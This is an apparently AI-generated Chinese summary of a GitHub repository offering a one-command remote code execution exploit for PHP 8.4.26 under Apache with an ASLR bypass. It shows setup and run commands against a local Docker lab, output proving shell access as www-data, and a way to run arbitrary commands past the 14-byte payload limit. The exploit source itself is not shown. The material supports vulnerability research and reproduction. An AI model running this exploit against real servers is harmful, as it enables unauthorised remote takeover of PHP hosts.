9bie/php2shell-bypass-aslr-exp

选用指南

AI 根据 README 整理 · 2026/10/22 19:01:25

使用方式

通过命令行使用，需要 Docker 和 Python 环境，运行 exploit.py 脚本即可完成整个利用过程。

查看 README 依据

cd php2shell-bypass-aslr-exp # 1) 拉官方镜像（PHP 8.4.26 / Debian 12 / Apache prefork） docker compose -f docker/docker-compose.yml pull # 2) 起目标：单 worker、display_errors=On、memory_limit=8M docker compose -f docker/docker-compose.yml up -d # 3) 等 Apache 就绪并确认普通页面 for i in $(seq 1 20); do curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break sleep 0.5 done curl -s http://127.0.0.1:8088/index.php # OK # 4) 一条命令完成整个利用；首次运行会自动读取 libphp 偏移 python3 exploit.py -u http://127.0.0.1:8088/index.php # PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data) ```

部署要求

需要 Docker Engine/Desktop、Docker Compose v2 和 Python 3.9 或更高版本。

查看 README 依据

# php2shell — PHP 8.4.26 session 漏洞复现 中文 | [English](readme_en.md) 在“完全远程、只用 HTTP、目标页面无 `session_start()`、不写任何目标侧 PHP”的约束下，用**一个 `exploit.py`** 打通 PHP 8.4.26 + Apache prefork + mod_php 的 RCE。官方 `php:8.4.26-apache` 镜像已实测 **3/3** 一键成功（`PROOF: uid=33(www-data)...`）。当前版本要求 `display_errors=1`；`display_errors=0` 已打通纯 HTTP 堆泄漏，完整 RCE 稍后提交。 ## exp 下面是从零到 RCE 的完整命令，整段复制执行即可。本仓库不编译 PHP/Apache，没有 `docker build`：环境就是官方 `php:8.4.26-apache` 镜像加 `docker/` 下的配置挂载。 ```bash # 依赖：Docker Engine/Desktop + Docker Compose v2 + Python 3.9+ git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git

已知限制

当前版本要求 display_errors=1、memory_limit=8M、max_input_vars=1000 等特定配置，且 payload 命令长度上限为 14 字节。

查看 README 依据

- **环境**：官方 `php:8.4.26-apache`（PHP 8.4.26 / Debian 12 / Apache 2.4.69 prefork）+ [docker/php.ini](docker/php.ini)、[docker/apache.conf](docker/apache.conf)，默认 `--profile bookworm`，实测 **3/3**。原 lab 构建（Apache 2.4.68、最小 PHP）用 `--profile lab`；两套 profile 的 chunk 偏移和 stage3 触发方式已分别标定。 - **边界**：当前 RCE 要求 `display_errors=1`、`memory_limit=8M`、`max_input_vars=1000`、`session.use_cookies=1`、`session.use_strict_mode=0`、单 worker prefork；`display_errors=0` 的完整 RCE 稍后提交。 - 仅用于授权环境中的漏洞研究与复现。

zif_system 0x... zval_ptr_dtor 0x... [+] chunk base = 0x... [+] libphp base = 0x... [*] stage 3: HTDATA=0x... ZIF=0x... PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` payload 里的命令上限是 **14 字节**。要跑任意命令，把脚本写到挂载目录，再用 `sh</out/c`（8 字节）执行： ```bash printf 'id; uname -a > /out/p1\n' > out/c python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c' ```